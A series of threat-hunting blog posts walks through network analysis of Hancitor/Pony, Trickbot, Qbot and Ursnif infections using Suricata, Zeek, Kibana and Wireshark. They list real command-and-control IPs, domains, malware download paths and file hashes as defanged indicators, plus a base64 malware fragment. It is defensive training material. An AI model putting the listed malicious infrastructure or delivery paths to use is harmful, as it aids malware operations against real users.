Grabbing the packets for /wp-includes/sodium_compat/{1,2}, we can see that we’re dealing with a binary file that we can probably do some analysis of.

When pulling the files apart, they’re binary files but they seem like they’re into the RE category, which is beyond my capabilities. Of note, they are listed as indicators by a DigitalSide OSINT TI list.

"2767": {
    "md5": "19fe0b844a00c57f60a0d9d29e6974e7",
    "sha1": "3505b4a6cd2f1bf3cb3628b9e3eb25c940ab559a",
    "sha256": "d1e56e455e3a50d8e461665e46deb1979a642b32710433f59e7a16fb5e4abada",
    "url": [
        "http://beta.artaffinittee.com/wp-includes/fonts/1" <- note different URI, but same file
    ]
},
"2768": {
    "md5": "204f36fb236065964964a61d4d7b1b9c",
    "sha1": "b383d4aedea5de89a73d2cfda9d3bfdef94540ea",
    "sha256": "4c8c3005642b01eb3db098b34ce3c7a089f12566bd67a7720c48e2fe751bfcb1",
    "url": [
        "http://beta.artaffinittee.com/wp-includes/fonts/2" <- note different URI, but same file
    ]

Summary

So, using ROCK, we identified a malicious domain that led us all the way back through the compromise to the initial point of infection and collected several observations along the way. Check out the detection logic for signatures and analysis.

Detection Logic

Additional analysis, modeling, and signatures (KQL and Yara).

Artifacts

45[.]153[.]73[.]33 - Pony Downloader C2
thumbeks[.]com - Pony Downloader C2
/4/forum[.]php - Hancitor C2
/d2/about[.]php - Pony Downloader C2
/mlu/forum[.]php - Pony Downloader C2
freetospeak[.]me - Initial Infection
68[.]208[.]77[.]171 - Initial Infection
shop[.]artaffinittee[.]com - Part of Hancitor infrastructure
68[.]183[.]232[.]255 - Part of Hancitor infrastructure
5c9c955449d010d25a03f8cef9d96b41 - VBScript archive (0843_43.php)
8eb933c84e7777c7b623f19489a59a2a - VBScript dropper (SE670131329809.vbs)
6ad619702dad7c8fc1cefd3bc7967cf4 - Hancitor binary
19fe0b844a00c57f60a0d9d29e6974e7 - Part of Hancitor infrastructure (1)
204f36fb236065964964a61d4d7b1b9c - Part of Hancitor infrastructure (2)

Until next time, cheers and happy hunting!

3/6/2020 - Trickbot Infection

Andrew D. Pease — Fri, 06 Mar 2020 00:00:00 +0000

3/6/2020 - Trickbot

We’ve done a Trickbot analysis before, but when I started poking around on this one, I found some indicators that weren’t being detected by Suricata and in pulling that thread, found indicators that hadn’t been previously reported anywhere, to include the binaries that I’ve carved from PCAP. By the publish date, there could be others who’ve found this, but as I’m starting this post (3/3/20), these haven’t been identified elsewhere.

Note: I changed the way I replayed my traffic this time by removing the -t flag from tcpreplay. While this takes much longer (2 1/2 hours in this specific case), but it makes for a better view of the event pattern of life.

Let’s start with the known knowns - Suricata.

Note: Curl, myexternalip[.]com, and ipecho[.]net are called out by Suricata, we know they’re bad because these PCAPs are bad and we’ve seen them used in other Trickbot infections, but we’re not going to sandbag and add them as “known bad” unless we can connect it to malicious traffic.

Walking through the image, we have ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 as the highest. This signature is seen with a lot of trojans and is more of an “this event could be interesting” vs. a smoking gun. Applying this alert as a filter, we see the host 10.22.33.145 is the source - which we can see (with no filters) makes up for 232 events, so I’m going to lean to say 10.22.33.145 is a good host to focus on.

The next alert is ET CNC Feodo Tracker Reported CnC Server group x, there are several of those for different “groups”. Filtering on them individually, it’s also 10.22.33.145 as the infected host. With the volume here, I’m going to pop over and make a simple data table with destination.ip, source.ip, and alert.signature.

Of note, there are 4 ports involved here, 447 and 449 (both TLS) look pretty uniform across the alerts, but 443 and 8082, while hitting the same signature, appear to be different stages in the event, so we’ll take note of those and poke at those later.

Destination IP	Source IP	Signature	Tag
186[.]71[.]150[.]23	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 10	Banking_Trojan
190[.]214[.]13[.]2	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 12	Banking_Trojan
195[.]133[.]145[.]31	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 13	Banking_Trojan
5[.]2[.]77[.]18	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 19	Banking_Trojan
85[.]143[.]216[.]206	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 23	Banking_Trojan
66[.]85[.]173[.]20	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 20	Banking_Trojan
93[.]189[.]41[.]185	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 25	Banking_Trojan
203[.]176[.]135[.]102	10.22.33.145	ET CNC Feodo Tracker Reported CnC Server group 15	Banking_Trojan

Eliminating those Feodo Tracker hits, what else is Suricata telling us?

In filtering out the above Feodo signatures, there was 1 other IP address that we’d not identified previously as well as the one that used port 8082 (192[.]3[.]124[.]40 and 203[.]176[.]135[.]102, respectfully). Additionally, there was some high-port to high-port communication coming from 192[.]3[.]124[.]40, which is interesting.

Let’s get out of the “known bad” identified by signatures, and go over to the Discover tab to see what else we can find out about the traffic. Let’s start with Zeek data and just those 2 IP addresses

event.module: zeek AND (source.ip: 192[.]3[.]124[.]40 OR destination.ip: 192[.]3[.]124[.]40 OR source.ip: 203[.]176[.]135[.]102 OR destination.ip: 203[.]176[.]135[.]102)

When we organize the data this way, we can see 2 connection groups that look the most interesting:

Source IP	Destination IP	Interesting Item
10.22.33.145	203[.]176[.]135[.]102	Suricata hits w/port 8082
10.22.33.145	192[.]3[.]124[.]40	Suricata hits w/PE downloads

I’ll target the unencrypted traffic and pull some packets out and do some analysis.

Let’s start with the PE downloads. There are 2 ways to collect them:

Carve from PCAP w/Docket
Leverage the file extraction feature of Zeek.

These have names that we’ve seen in my previous analysis of Trickbot, (mini[.]png, lastimage[.]png x2). Of note, these samples are not in VirusTotal as of 3/3/2020. Their hashes are in the Artifacts section as well as Yara signatures in the Detection Logic. This looks to be Trickbot traffic.

Moving onto 203[.]176[.]135[.]102.

We can see that the HTTP POST connections appear to be uploading some data /red4/DESKTOP-5N98NBB_W10018363.8DB232C0E83418B2F3D90BF34165F326/81/ and /red4/DESKTOP-5N98NBB_W10018363.8DB232C0E83418B2F3D90BF34165F326/90 (/90 is provided by Suricata logs, not Zeek). This looks like host identification information to a server named Cowboy (which we’d also seen in our previous Trickbot analysis).

Looking at all of this traffic, it looks like the hash values and infrastructure have been changed from previous intrusions, but not the TTPs used by the aggressor.

Let’s look back at some of the 447 and 449 traffic we identified earlier and see if there are any IPs that we didn’t catch with Suricata…and 3 new IPs that didn’t trip a Suricata alert.

170[.]84[.]78[.]224
212[.]109[.]220[.]222
85[.]204[.]116[.]84

Looking at them in Discover, there are a lot of failed connections (RSTO/R - aborted by the originator/responder and S0 a connection attempt seen, but no reply), so let’s add that to the data table and see. Here we’ve got a new IP.

5[.]255[.]96[.]115

Note: Having reset or failed connection attempts isn’t necessarily a guaranteed bad, but when we’re seeing the same traffic profile (port 447, 449, high-port to high-port) in conjunction with the resets…and some OSINT research also associates them with Trickbot, I’m going to categorize this as “bad”.

There’s been a lot here, so to round out, I decided to look through the TLS logs to see what we can see. As with all of this, it’s a bit of looking for needles in a needle stack, but the process is the same.

We can see that there is some SSL Subjects that certainly look suspect. When we look at some of the IP addresses, we can see that they’re from known bad actors (ex: 85[.]143[.]216[.]206).

Source IP	Destination IP	Interesting Item
10.22.33.145	85[.]143[.]216[.]206	CN=example.com
10.22.33.145	5[.]2[.]77[.]18	CN=example.com
10.22.33.145	66[.]85[.]173[.]20	CN=example.com
10.22.33.145	5[.]2[.]77[.]18	CN=vps31656725
10.22.33.145	186[.]71[.]150[.]23	ST=Some-State
10.22.33.145	190[.]214[.]13[.]2	ST=Some-State
10.22.33.145	5[.]182[.]210[.]226	CN=img[.]bullforyou[.]com

Of extreme note, are 5[.]182[.]210[.]226 and CN=img[.]bullforyou[.]com. These are new indicators and in searching them online, I wasn’t able to find much research (as of 3/3). In digging into the certificate analysis, you can see that this domain had several subdomains for multiple states. In doing some additional research, this shows up just 2 times (ex: 1, 2), but even though this is in bad PCAP, I’m going to put this into the “bad” category as I really feel like this is C2. If anyone has other observations or opinions, I’d love to hear them.

Detection Logic

Additional analysis, modeling, and signatures (KQL and Yara).

Artifacts

5[.]2[.]77[.]18 port 447 (Trickbot, GTAG, Red4 TLS traffic)
5[.]255[.]96[.]115 port 443 (Trickbot, GTAG, Red4 TLS traffic)
85[.]143[.]216[.]206 port 447 (Trickbot, GTAG, Red4 TLS traffic)
85[.]143[.]220[.]73 port 447 (Trickbot, GTAG, Red4 TLS traffic)
186[.]71[.]150[.]23 port 449 (Trickbot, GTAG, Red4 TLS traffic)
190[.]214[.]13[.]2 port 449 (Trickbot, GTAG, Red4 TLS traffic)
195[.]133[.]145[.]31 port 443 (Trickbot, GTAG, Red4 TLS traffic)
66[.]85[.]173[.]20 port 447 (Trickbot, GTAG, Red4 TLS traffic)
93[.]189[.]41[.]185 port 447 (Trickbot, GTAG, Red4 TLS traffic)
203[.]176[.]135[.]102 port 8082 (enumeration data exfil)
192[.]3[.]124[.]40 (port 80, 50063, and 49767 Trickbot PE download)
170[.]84[.]78[.]224 port 449 (Trickbot, GTAG, Red4 TLS traffic)
212[.]109[.]220[.]222 port 447 (Trickbot, GTAG, Red4 TLS traffic)
85[.]204[.]116[.]84 port 447 (Trickbot, GTAG, Red4 TLS traffic)
5[.]182[.]210[.]226 (Trickbot C2, moderate confidence)
img[.]bullforyou[.]com (Trickbot C2, moderate confidence)
9149a43c1fd3c74269648223255d2a83 - lastimage[.]png (Trickbot binaries)
fed45d3744a23e40f0b0452334826fc2 - lastimage[.]png (Trickbot binaries)
acf866d6a75d9100e03d71c80e1a85d6 - mini[.]png (Trickbot binaries)

Until next time, cheers and happy hunting!

2/28/2020 - Qbot (Qakbot) Infection

Andrew D. Pease — Fri, 28 Feb 2020 00:00:00 +0000

2/28/2020 - Qbot (Qakbot)

Unlike in previous posts, Qbot has not generated any Suricata rules, so we get to actually do some raw hunting!

Personally, I like to start looking at TLS traffic as it forces me to look hard at metadata instead of relying on the contents of packets. We’ll move on to packets later, but let’s start further down the attacker lifecycle and see if we can work our way backwards.

Of note, I’ve added the ja3 field to assist with this larger dataset. JA3 is a SSL/TLS client fingerprint that allows us to identify scale good (or bad) client/server TLS connections irrespective of the domain that is used. As you can see, two domains have the same ja3 fingerprint but different destination IP addresses and domains. This will help in eliminating traffic to chase by filtering out (or on) that fingerprint instead of every domain/IP combination that could be using it.

Source IP	Destination IP	tls.client.ja3	tls.server.subject
10.1.29.101	13[.]107[.]9[.]254	9e10692f1b7f78228b2d4e424db3a98c	CN=*[.]msedge[.]net
10.1.29.101	204[.]79[.]197[.]200	9e10692f1b7f78228b2d4e424db3a98c	CN=www[.]bing[.]com

Let’s filter out the 9e10692f1b7f78228b2d4e424db3a98c ja3 fingerprint (and various others that are part of assumed good for now - yahoo, linkedin, skype, etc.) help get our dataset down to a manageable level (over 300 events down to 95).

Next, let’s look at the largest number of TLS events, and that is CN=gaevietovp.mobi,OU=Dobubaexo Boolkedm Bmuw,C=ES, I’ve also added the tls.validation_status field and, as you can see, it is unable to get local issuer certificate. That’s not necessarily bad, but it’s different from the other TLS traffic samples we’re looking at.

From here we have some indicators (10.1.29.101, 68[.]1[.]115[.]106, and gaevietovp[.]mobi) that we can take and search through some traffic where we can see more than metadata, however, the only traffic for these hosts was over TLS, so we’ve exhausted the route and can list this as a good find based on the other information we collected above.

Next, let’s remove our filters and check out the HTTP log and see if there’s anything that’s unencrypted that can we dig through. We’ll again eliminate the assumed good (Microsoft, Windows Update, Symantec, etc.), and check out the url.orginal and http.resp_mime_types. While the filename of 4444444.png is a bit suspect, the fact that it has a file extension of a PNG file, but it has a mime type of application/x-dosexec is a big red flag.

We’ve got a few options to analyze this file, we can use Docket and carve it from PCAP or we can leverage the file extraction features of Zeek and just grab it right off the sensor.

Filtering on the files dataset, we can see what the name of the file is that is on the sensor when we look at the files.extracted field - HTTP-FQbqYF2UXkZ54fXJXi.exe. Extracted files are located in /data/zeek/logs/extract_files/.

 ll /data/zeek/logs/extract_files/
total 464
-rw-r--r--. 1 zeek zeek 475136 Feb 25 16:38 HTTP-FQbqYF2UXkZ54fXJXi.exe

If we want to carve that PCAP with Docket, we can do that too…following the TCP stream doesn’t look very good /smh

So, we’ll Export the HTTP Object (or looked at HTTP-FQbqYF2UXkZ54fXJXi.exe) and hash and collect the metadata from that file (truncated).

...
File Name                       : 444444.png
File Type                       : Win32 EXE
File Type Extension             : exe
Time Stamp                      : 2020:01:22 15:38:11-06:00
PE Type                         : PE32
Internal Name                   : xseja
Original File Name              : xsejan.dl
Product Name                    : Xseja
...

There’s some interesting things here that we can use when we make some Yara signatures in the Detection-Logic section below:

it’s not a PNG file, it’s a Win32 PE file
it was created on Jan 22, 2020
the original file name was xsejan.dl

Furthermore, the hash of 444444.png (c43367ebab80194fe69258ca9be4ac68) is loud and proud on VirusTotal as being Qbot malware.

Okay, so we’ve got 3 indicators so far, what about the network systems that 444444.png was downloaded from (alphaenergyeng[.]com/wp-content/uploads/2020/01/ahead/444444[.]png and 5[.]61[.]27[.]159)? In digging into those 2, it looks like we’ve identified everything that talked to/from those systems.

Let’s take a look at the URI structure from alphaenergyeng[.]com/wp-content/uploads/2020/01/ahead/444444[.]png and see if we have any more hits on systems using wp-content/uploads/2020/01/ahead/, disco another new hit with 2 new indicators (103[.]91[.]92[.]1 and bhatner[.]com/wp-content/uploads/2020/01/ahead/9312[.]zip.

I wasn’t able to grab 9312.zip, I have the packets, but there are hundreds of files in the TCP stream with the same name with various sizes. I’m not sure if it’s an issue with my pcap or it’s an obfuscation technique. That said, searching for the URL online yielded several analysis results 1, 2, 3.

In keeping to my mantra of not “finding” things simply because they’re on the IOC list from Malware Traffic Analysis, beyond playing “whack-a-mole” with DNS entries, which I have done before, there wasn’t much additional information I was able to find through raw hunting. I did want to showcase some indicators that Malware Traffic Analysis did highlight, but beyond knowing they were bad because it’s in the IOC list, I don’t think in good consciousness I can say I’d have found it on my own.

Detection Logic

Additional analysis, modeling, and signatures (KQL and Yara).

Artifacts

68[.]1[.]115[.]106 (post infection SSL/TLS traffic)
gaevietovp[.]mobi (post infection SSL/TLS traffic)
7dd50e112cd23734a310b90f6f44a7cd (post infection ja3 fingerprint)
7c02dbae662670040c7af9bd15fb7e2f (post infection ja3s fingerprint)
5[.]61[.]27[.]159 (HTTP request for Qbot PE)
alphaenergyeng[.]com (HTTP request for Qbot PE)
/wp-content/uploads/2020/01/ahead/444444.png (HTTP request for Qbot PE)
c43367ebab80194fe69258ca9be4ac68 (444444.png - Qbot PE)
103[.]91[.]92[.]1 (HTTP request for Qbot archive)
bhatner[.]com (HTTP request for Qbot archive)
/wp-content/uploads/2020/01/ahead/9312.zip (HTTP request for Qbot archive)
275ebb5c0264dac2d492efd99f96c8ad (9312.zip - Qbot archive)
153[.]92[.]65[.]114 (found by Malware Traffic Analysis)
54[.]36[.]108[.]120 (found by Malware Traffic Analysis)
pop3[.]arcor[.]de (found by Malware Traffic Analysis)

Until next time, cheers and happy hunting!

2/24/2020 - Ursnif Infection

Andrew D. Pease — Mon, 24 Feb 2020 00:00:00 +0000

2/24/2020 - Ursnif

Suricata has picked up some easy things to get started on, so let’s start there.

Of particular interest to me (not that the others aren’t interesting), are the executable signatures; so let’s filter out the opendns[.]com lookups for now. This takes us down to a single source and destination to focus on, 194[.]61[.]2[.]16 and 10.2.11.101.

Hopping over to the Discover tab, when we apply the source IP from the previous step, we see only 8 events…definitely manageable. Let’s get rid of the alert dataset because we know about those from the Suricata dashboard.

Now that we’ve used the metadata to get down to a single IP address as the potential bad actor, let’s use Docket to carve the packets for that IP and see what it can tell us. Using Wireshark on these packets, we follow the TCP stream and see this URL and a downloaded PE executable.

Exporting the HTTP object gives us the PE file, which we can analyze as well.

Using exiftool, we can see some interesting info, mainly that the original file was called soldier.dll and that the File Type is Win32 EXE (truncated).

$ exiftool lastimg.png
...
File Name                       : 215z9urlgz.php%3fl=xubiz8.cab
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Image File Characteristics      : Executable, 32-bit
PE Type                         : PE32
Original File Name              : soldier.dll
...

Checking with VirusTotal, we see that the file hash is known bad so this looks like a good find!

Now that we have a few more hints to search through, specifically qr12s8ygy1[.]com, let’s go back to Kibana and remove the stuff we’ve already found and see if we can find anything else.

Of note, settings-win.data.microsoft.com appears to be a Microsoft botnet sinkhole, so while we can use some of the info, I’m going to remove this from our searches to eliminate traffic routes to chase. Additionally, I’m filtering out the OpenDNS traffic.

Moving along, let’s make a Kibana data table to clean up our view a bit and we see 95[.]169[.]181[.]35 and lcdixieeoe[.]com, of note are those long URI’s + an AVI file. Let’s use Docket to see what’s in those packets.

Hopping right into Exporting the HTTP objects, we see the *.avi files we observed in Kibana’s url.original field. Let’s save those and take a look.

In looking at the metadata for those “avi” files, we see that they’re actually just Text files.

======== B.avi
...
File Name                       : B.avi
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
...
======== alSLK.avi
...
File Name                       : alSLK.avi
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
...
======== jNjcj.avi
...
File Name                       : jNjcj.avi
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
...

I poked and prodded on these files, but I’m not sure what they are…but I know they aren’t normal media files. It looks like Base64 encoding, but I’m not sure what order they’re supposed to be assembled in to decode. Either way, they have the .avi file extension and certainly aren’t, so I’d put that in the suspect category.

Extract of B.avi

...
p1kTy18hM3gcANzilINMVJWdUP4AbxDka8IVGBACN+HkZxzdIOi86DoUwglmVgw+BsGdGC3WLgE45BoaeDFcYxpoS8/HzXcwtxxa45Wiqordymiv5JlqzxHWS647gV2B0XpV1+A5h9PTPvxdfJV/CIAYGgCqFLzlxXF3znojgEGWHj/MwRbhIgMIKm9FDqEQEqxjDIv0SC+sqN9TxpQLNPCdqJwMTuQN2sfat464J1bh9LWzHwPwyZXErBH5+XmvEbIjOX3ptyRJOa4C+W0Cf6yOFLIPWas659a0x5tZAQs1VbwMjylWLlx6LA2Dmop1C4dwb+zH5SSJrYo5RKbc6DV1AmmRpeJ1NXkO30Z2Bq27U+h3uRUnMulPWSp1uTeLwc8LSFK49kTIaV0lwWNfDeb975aPmPac6kZP/5g5xgfB5/53/kC2KvHCbMUF8RotemD2ak+Lc0gzP7W/pcmbw/ZhxmdFJd5rPJz1lhGIOEZX6buFkcg3vjsBInd319vLO+ZSZmbU8m1ZryNsfLZ56tEvbafgCY1Jz/tP4UdKL6DZPyjCXC7oIEoCO3yn/yHOaFFQvOFizv2OnUPVW3ST+BN/TwkHUSZfE1+lKvjXJBsONeaiAa5ozLa2uI/ebx1caPFMjw0j62H23r0YFd0opsTw2ovlkvKcx3eoT
...

Extract of a normal .avi files

RIFF,O
AVI LIST�hdrlavih85�
                    �"�LISTtstrlstrh8vidscvid�"�strf((�IV41JUNKLIST�;
movi00db~
���|
��`��؝����@�|��@�P!����9���&��y��i��y���y��y>�����<��<��y���<��<��<��<��<��<��<��<��<��<��<��<��<��<��<��<��<��<ϲ<����<��<��<ϳ��<��<��<��(��<��<��,��<�S<��<��<��|��y��y>���<��<��<����|n��y��y���y>3��y��y��y�Qm<�� �Z�;d�����ߢS%����T��!~nV�&~RVG���(p&
                                                                    ��۹+��$g�E���V���
�q��b�Z0���I.B�k����X�+|dy:$�X1��9��'ҙ*�
9�1d!��P�x����l�y"d�m'a��#Ԏ&Z]�"�%����fzڬ��q"j�g�c�X�(�p��j��xs`�<Ĺg�R�$��pY�1�
(
 p6��� E	s	V�pɫ�Œ�vNaG�(q�9�����"*���%
                                                    
                                                     �k�8mY��f�."s�8
                                                                    �(WL�!<-|=_���C&�ďo�s8��nj��T	sh��YX�oB�B��(NᠱI��ib��8���Y\�'1A�.�B$t´pHfB<�9���A�n5Hf�R�D��
                                                                                                                                                                      �g��9sVI���CsF!����2����S�Q�E�P��5Xj�txMF:�G�q�S��k�0N(3q]-��O�J��$��ID>��a�
����c'                                                      A9��
P@X

Trying a bit more on these files, 2 of these “avi” files end in = (B.avi and jNjcj.avi), so I am definitely leaning more towards Base64. The file that doesn’t end in a = (alSLK.avi), I tried to append that to the top of the two files that do end in = and then run base64 -D -i [file] -o [file], it created binary files (which seems like progress), but no luck in taking it apart. If anyone has any ideas here, feel free to reach out.

Malware Traffic Analysis noted another indicator that was identified through the analysis of the infected Word documents (45[.]141[.]103[.]204 and q68jaydon3t[.]com), which we don’t have. So while we see the traffic, it is all over TLS minus the initial DNS request so there’s not much we can do for that. The ja3 nor ja3s hash was collected. I’m adding it to the artifacts below, but this would only be “known bad” if it was found through analysis of the document.

Detection Logic

Additional analysis, modeling, and signatures (KQL and Yara).

Artifacts

194[.]61[.]2[.]16
95[.]169[.]181[.]35
45[.]141[.]103[.]204 (found by Malware Traffic Analysis)
8962cd86b47148840b6067c971ada128
7e34d6e790707bcc862fd54c0129abfa
40186e831cd2e9679ca725064d2ab0fb
2b93fcafabab58a109fcbca4377cccda
qr12s8ygy1[.]com
lcdixieeoe[.]com
q68jaydon3t[.]com (found by Malware Traffic Analysis)
xubiz8[.]cab
/khogpfyc8n/215z9urlgz[.]php

Until next time, cheers and happy hunting!

2/21/2020 - Trickbot gtag wescan23 Infection

Andrew D. Pease — Fri, 21 Feb 2020 00:00:00 +0000

2/21/2020 - Trickbot gtag wecan23 Infection

Right out of the gate, the Suricata dashboard is telling us something is amiss.

Let’s pop over to the Discover tab and see what we can ferret out. We’ll apply the alert.signature exists filter and add destination.ip, source.ip, alert.signature, and alert.metadata.tag and, pretty maids, all in a row.

Destination IP	Source IP	Signature	Tag
195[.]123[.]220[.]154	10.0.100.185	ET CNC Feodo Tracker Reported CnC Server group 12	Banking_Trojan
185[.]65[.]202[.]240	10.0.100.185	ET CNC Feodo Tracker Reported CnC Server group 8	Banking_Trojan
190[.]214[.]13[.]2	10.0.100.185	ET CNC Feodo Tracker Reported CnC Server group 11	Banking_Trojan
104[.]20[.]16[.]242	10.0.100.185	ET POLICY curl User-Agent Outbound	-
104[.]20[.]16[.]242	10.0.100.185	ET POLICY IP Check Domain (icanhazip[.]com in HTTP Host)	-

Boom, we found the Trickbot TLS connections, but what about wecan23?

Note: As I dug through this, I found a lot of DNS traffic to blocklists (cbl.abuseat[.]org, barracudacentral[.]org, uceprotect[.]net, etc.). While the victim (or the pcap sampler) seemingly use these lists, I excluded this as it’s not part of the infection.

As we see in the the table above, 10.0.100.185 seems to be infected. So let’s filter in on that IP address in Kibana.

Let’s get rid of our known bad Destination IPs (above), the IP recon domains (icanhazip and externalip.com), and see what is left over to see if there’s anything else we can find. I’m also going to drop the DNS server out (10.0.100.2), while there’s good info there, we’ve got others to look at that might have more. If there’s nothing, we can do a DNS hunt.

Of interest, the connection between 10.0.100.185 and 192[.]3[.]124[.]40 is over port 80, but there’s not a corresponding HTTP Zeek log, so we’ll have to use Docket to carve the PCAP and check it out in Wireshark.

As we can see, the file name is lastimg.png, but the file type metadata has a magic number of MZ, which is a PE binary. Using Export HTTP Objects in Wireshark, we can see there are 2 “png” files called lastimg.png as well as mini.png. We’ll carve those out and statically analyze them.

Using exiftool, we can see some interesting info, mainly that the original file was called 002.exe and that the File Type is Win32 EXE, not an image (truncated).

$ exiftool lastimg.png
...
File Name                       : lastimg.png
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Image File Characteristics      : Executable, 32-bit
PE Type                         : PE32
Original File Name              : 002.exe
Product Name                    : 002.exe
...

Let’s see what VirusTotal knows about these 2 files by searching their MD5 hashes 1 2…EVIL!.

Back to Kibana and see what else is there. As before, let’s get rid of our known bad and all we have left is 203[.]176[.]135[.]102.

Like before, it’s only Connection log stuff, so let’s carve the PCAP between 10.0.100.185 and 203[.]176[.]135[.]102 and see what we find in Wireshark, which appears to be posting host IDs, running processes, usernames, workstation domain, etc. to a server Cowboy.

There was a lot of this kind of data being uploaded; feel free to explore it on your own and…obfuscating all of this data is exhausting.

Artifacts

203[.]176[.]135[.]102
195[.]123[.]220[.]154
185[.]65[.]202[.]240
190[.]214[.]13[.]2
192[.]3[.]124[.]40
/wecan23/
489eef73a1a5880f644f3b60267db7e
c1820b0685ea2c16a9da3efd2f3b58d9

Until next time, cheers and happy hunting!